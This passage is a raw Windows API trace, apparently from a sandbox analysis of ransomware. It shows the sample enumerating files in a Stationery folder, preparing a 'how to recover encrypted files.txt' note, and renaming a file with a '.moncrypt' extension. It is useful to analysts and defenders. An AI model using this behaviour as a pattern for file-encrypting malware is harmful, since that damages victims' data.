lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", cchWideChar=75, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpUsedDefaultChar=0x0) returned 75 [0050.146] CharLowerBuffW (in: lpsz=".gif", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\Stationery\\Cave_Drawings.gif", lpUsedDefaultChar=0x0) returned 4 [0050.146] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0050.146] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.146] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.146] GlobalLock (hMem=0x440004) returned 0x550170 [0050.146] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.146] GlobalUnlock (hMem=0x440004) returned 0 [0050.146] GlobalLock (hMem=0x440004) returned 0x550170 [0050.146] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.146] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.146] GlobalUnlock (hMem=0x440004) returned 0 [0050.146] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.146] GlobalUnlock (hMem=0x44000c) returned 0 [0050.146] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.146] CharLowerBuffW (in: lpsz="Connectivity.gif", cchLength=0x10 | out: lpsz="connectivity.gif") returned 0x10 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", cchWideChar=74, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gify", lpUsedDefaultChar=0x0) returned 74 [0050.147] CharLowerBuffW (in: lpsz=".gif", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\Stationery\\Connectivity.gify", lpUsedDefaultChar=0x0) returned 4 [0050.147] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0050.147] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.147] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.147] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.147] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.147] GlobalUnlock (hMem=0x44000c) returned 0 [0050.147] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.147] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.147] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.147] GlobalUnlock (hMem=0x44000c) returned 0 [0050.147] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.147] GlobalUnlock (hMem=0x440004) returned 0 [0050.147] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.148] CharLowerBuffW (in: lpsz="Desktop.ini", cchLength=0xb | out: lpsz="desktop.ini") returned 0xb [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", cchWideChar=69, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpUsedDefaultChar=0x0) returned 69 [0050.148] CharLowerBuffW (in: lpsz=".ini", cchLength=0x4 | out: lpsz=".ini") returned 0x4 [0050.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ini", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".iniShared\\Stationery\\Desktop.ini", lpUsedDefaultChar=0x0) returned 4 [0050.148] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0050.148] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.148] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.148] GlobalLock (hMem=0x440004) returned 0x550170 [0050.148] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.148] GlobalUnlock (hMem=0x440004) returned 0 [0050.149] GlobalLock (hMem=0x440004) returned 0x550170 [0050.149] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.149] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.149] GlobalUnlock (hMem=0x440004) returned 0 [0050.149] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.149] GlobalUnlock (hMem=0x44000c) returned 0 [0050.149] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.149] CharLowerBuffW (in: lpsz="Dotted_Lines.emf", cchLength=0x10 | out: lpsz="dotted_lines.emf") returned 0x10 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", cchWideChar=74, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emfy", lpUsedDefaultChar=0x0) returned 74 [0050.150] CharLowerBuffW (in: lpsz=".emf", cchLength=0x4 | out: lpsz=".emf") returned 0x4 [0050.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".emf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".emfShared\\Stationery\\Dotted_Lines.emfy", lpUsedDefaultChar=0x0) returned 4 [0050.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 0x54e200 [0050.150] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.150] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.150] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", dwFileAttributes=0x20) returned 0 [0050.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.moncrypt")) returned 0 [0050.151] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0050.151] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.151] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.151] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.151] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.151] GlobalUnlock (hMem=0x44000c) returned 0 [0050.151] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.151] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.151] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.151] GlobalUnlock (hMem=0x44000c) returned 0 [0050.151] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.151] GlobalUnlock (hMem=0x440004) returned 0 [0050.151] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.151] CharLowerBuffW (in: lpsz="Garden.htm", cchLength=0xa | out: lpsz="garden.htm") returned 0xa [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: 